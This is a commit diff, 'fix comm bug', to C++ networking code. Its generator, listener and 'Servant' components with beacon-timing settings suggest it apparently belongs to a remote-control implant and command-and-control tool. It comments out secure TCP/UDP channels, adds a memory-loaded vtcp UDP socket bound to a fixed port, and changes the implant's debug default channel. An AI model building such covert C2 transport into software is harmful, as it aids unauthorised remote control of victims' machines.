fix comm bug
This commit is contained in:
parent
de07b21cbd
commit
86b52260e5
|
@ -151,12 +151,12 @@ void CGeneratorDlg::InitDlgEdit()
|
|||
m_DefaultComm.SetItemData(1,COMMNAME_HTTPS);
|
||||
m_DefaultComm.InsertString(2,_T("TCP"));
|
||||
m_DefaultComm.SetItemData(2,COMMNAME_TCP);
|
||||
m_DefaultComm.InsertString(3,_T("TCPS"));
|
||||
m_DefaultComm.SetItemData(3,COMMNAME_TCPS);
|
||||
m_DefaultComm.InsertString(4,_T("UDP"));
|
||||
m_DefaultComm.SetItemData(4,COMMNAME_UDP);
|
||||
m_DefaultComm.InsertString(5,_T("UDPS"));
|
||||
m_DefaultComm.SetItemData(5,COMMNAME_UDPS);
|
||||
// m_DefaultComm.InsertString(3,_T("TCPS"));
|
||||
// m_DefaultComm.SetItemData(3,COMMNAME_TCPS);
|
||||
m_DefaultComm.InsertString(3,_T("UDP"));
|
||||
m_DefaultComm.SetItemData(3,COMMNAME_UDP);
|
||||
// m_DefaultComm.InsertString(5,_T("UDPS"));
|
||||
// m_DefaultComm.SetItemData(5,COMMNAME_UDPS);
|
||||
|
||||
|
||||
m_DefaultComm.SetCurSel(config.commType);
|
||||
|
|
|
@ -27,9 +27,9 @@ BOOL CommManager::Init()
|
|||
m_commList[COMMNAME_HTTP] = new HttpComm;
|
||||
m_commList[COMMNAME_HTTPS] = new HttpComm(TRUE);
|
||||
m_commList[COMMNAME_TCP] = new TcpComm;
|
||||
m_commList[COMMNAME_TCPS] = new TcpComm(TRUE);
|
||||
// m_commList[COMMNAME_TCPS] = new TcpComm(TRUE);
|
||||
m_commList[COMMNAME_UDP] = new UdpComm;
|
||||
m_commList[COMMNAME_UDPS] = new UdpComm(TRUE);
|
||||
// m_commList[COMMNAME_UDPS] = new UdpComm(TRUE);
|
||||
|
||||
m_hExitEvent = ::CreateEvent(NULL, FALSE, FALSE, NULL);
|
||||
if (! m_hExitEvent.IsValid())
|
||||
|
|
|
@ -21,11 +21,31 @@ UdpComm::UdpComm(BOOL isSecure):m_isConnected(FALSE),
|
|||
m_vsocket = (_vtcp_socket) m_vtcp.MemGetProcAddress("vtcp_socket");
|
||||
m_vconnect = (_vtcp_connect) m_vtcp.MemGetProcAddress("vtcp_connect");
|
||||
m_vstartup = (_vtcp_startup) m_vtcp.MemGetProcAddress("vtcp_startup");
|
||||
m_lasterr = (_vtcp_lasterr) m_vtcp.MemGetProcAddress("vtcp_geterror");
|
||||
m_vclose = (_vtcp_close) m_vtcp.MemGetProcAddress("vtcp_close");
|
||||
m_vsetsockopt = (_vtcp_setsockopt) m_vtcp.MemGetProcAddress("vtcp_setsockopt");
|
||||
m_vsocketshare = (_vtcp_socketshare)m_vtcp.MemGetProcAddress("vtcp_socketshare");
|
||||
m_vlisten = (_vtcp_listen)m_vtcp.MemGetProcAddress("vtcp_listen");
|
||||
m_vbind = (_vtcp_bind)m_vtcp.MemGetProcAddress("vtcp_bind");
|
||||
|
||||
m_vstartup();
|
||||
|
||||
SOCKADDR_IN hints;
|
||||
|
||||
memset(&hints, 0, sizeof(SOCKADDR_IN));
|
||||
hints.sin_family = AF_INET;
|
||||
hints.sin_port = htons(61224);
|
||||
|
||||
m_psock = m_vsocket(AF_INET,SOCK_DGRAM,0);
|
||||
|
||||
m_vbind(m_psock,(sockaddr*)&hints,sizeof(hints));
|
||||
|
||||
m_vlisten(m_psock,1);
|
||||
|
||||
m_sock = m_vsocketshare(m_psock);
|
||||
|
||||
int err = m_lasterr();
|
||||
|
||||
if (isSecure)
|
||||
{
|
||||
srand(GetTickCount());
|
||||
|
@ -161,19 +181,16 @@ BOOL UdpComm::Connect( ULONG targetIP,int port )
|
|||
hints.sin_addr.s_addr = targetIP;
|
||||
hints.sin_port = htons(port);
|
||||
|
||||
if (m_sock != VTCP_INVALID_SOCKET)
|
||||
{
|
||||
m_vclose(m_sock);
|
||||
m_sock = VTCP_INVALID_SOCKET;
|
||||
}
|
||||
|
||||
m_sock = m_vsocket(AF_INET,SOCK_DGRAM,0);
|
||||
|
||||
if (VTCP_ERROR == m_vconnect(m_sock,(sockaddr*)&hints,sizeof(hints)))
|
||||
{
|
||||
if ( m_lasterr() == 3 )
|
||||
{
|
||||
m_vclose(m_sock);
|
||||
m_sock = m_vsocketshare(m_psock);
|
||||
}
|
||||
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
int timeout = 20000;
|
||||
m_vsetsockopt(m_sock,SOL_SOCKET,VTCP_SO_RECV_TIMEO,(char*)&timeout,sizeof(int));
|
||||
m_vsetsockopt(m_sock,SOL_SOCKET,VTCP_SO_SEND_TIMEO,(char*)&timeout,sizeof(int));
|
||||
|
|
|
@ -14,21 +14,28 @@ public:
|
|||
|
||||
public:
|
||||
typedef int (WINAPI *_vtcp_startup)();
|
||||
typedef int (WINAPI *_vtcp_lasterr)();
|
||||
typedef int (WINAPI *_vtcp_bind)(VTCP_SOCKET s, const struct sockaddr * sai, socklen_t sailen);
|
||||
typedef int (WINAPI *_vtcp_listen)(VTCP_SOCKET s, int backlog);
|
||||
typedef VTCP_SOCKET (WINAPI *_vtcp_socket) (int af, int itype, int protocol);
|
||||
typedef int (WINAPI *_vtcp_connect)(VTCP_SOCKET s, const struct sockaddr * sai, socklen_t sailen);
|
||||
typedef int (WINAPI *_vtcp_send)(VTCP_SOCKET s, char * buffer, int cb, int flag);
|
||||
typedef int (WINAPI *_vtcp_recv)(VTCP_SOCKET s, char * buffer, int cb, int flag);
|
||||
typedef int (WINAPI *_vtcp_close)(VTCP_SOCKET s);
|
||||
typedef int (WINAPI *_vtcp_setsockopt)(VTCP_SOCKET s, int level, int optname, char * optval, int optlen);
|
||||
|
||||
typedef VTCP_SOCKET (WINAPI *_vtcp_socketshare)(VTCP_SOCKET s);
|
||||
private:
|
||||
_vtcp_startup m_vstartup;
|
||||
_vtcp_lasterr m_lasterr;
|
||||
_vtcp_socket m_vsocket;
|
||||
_vtcp_connect m_vconnect;
|
||||
_vtcp_send m_vsend;
|
||||
_vtcp_recv m_vrecv;
|
||||
_vtcp_close m_vclose;
|
||||
_vtcp_setsockopt m_vsetsockopt;
|
||||
_vtcp_socketshare m_vsocketshare;
|
||||
_vtcp_listen m_vlisten;
|
||||
_vtcp_bind m_vbind;
|
||||
|
||||
public:
|
||||
//ʵÏÖIComm½Ó¿Ú
|
||||
|
@ -44,6 +51,7 @@ private:
|
|||
BOOL SendAll(VTCP_SOCKET s,LPCVOID lpBuf, int nBufLen);
|
||||
|
||||
VTCP_SOCKET m_sock;
|
||||
VTCP_SOCKET m_psock;
|
||||
|
||||
BOOL m_isConnected;
|
||||
|
||||
|
|
|
@ -15,8 +15,8 @@
|
|||
SERVANT_API void InitServant()
|
||||
{
|
||||
#ifdef _DEBUG
|
||||
g_ConfigInfo.nDefaultCommType = COMMNAME_TCP;
|
||||
g_ConfigInfo.nPort = 8082;
|
||||
g_ConfigInfo.nDefaultCommType = COMMNAME_UDP;
|
||||
g_ConfigInfo.nPort = 8822;
|
||||
g_ConfigInfo.nFirstConnectHour = -1;
|
||||
g_ConfigInfo.nFirstConnectMinute = -1;
|
||||
g_ConfigInfo.nTryConnectIntervalM = 1;
|
||||
|
|
|
@ -51,14 +51,14 @@ void CListenDlg::InitView()
|
|||
m_protoList.InsertString(2,_T("TCP"));
|
||||
m_protoList.SetItemData(2,COMMNAME_TCP);
|
||||
|
||||
m_protoList.InsertString(3,_T("TCPS"));
|
||||
m_protoList.SetItemData(3,COMMNAME_TCPS);
|
||||
// m_protoList.InsertString(3,_T("TCPS"));
|
||||
// m_protoList.SetItemData(3,COMMNAME_TCPS);
|
||||
|
||||
m_protoList.InsertString(4,_T("UDP"));
|
||||
m_protoList.SetItemData(4,COMMNAME_UDP);
|
||||
m_protoList.InsertString(3,_T("UDP"));
|
||||
m_protoList.SetItemData(3,COMMNAME_UDP);
|
||||
|
||||
m_protoList.InsertString(5,_T("UDPS"));
|
||||
m_protoList.SetItemData(5,COMMNAME_UDPS);
|
||||
// m_protoList.InsertString(5,_T("UDPS"));
|
||||
// m_protoList.SetItemData(5,COMMNAME_UDPS);
|
||||
|
||||
m_protoList.SetCurSel(0);
|
||||
|
||||
|
|
Loading…
Reference in New Issue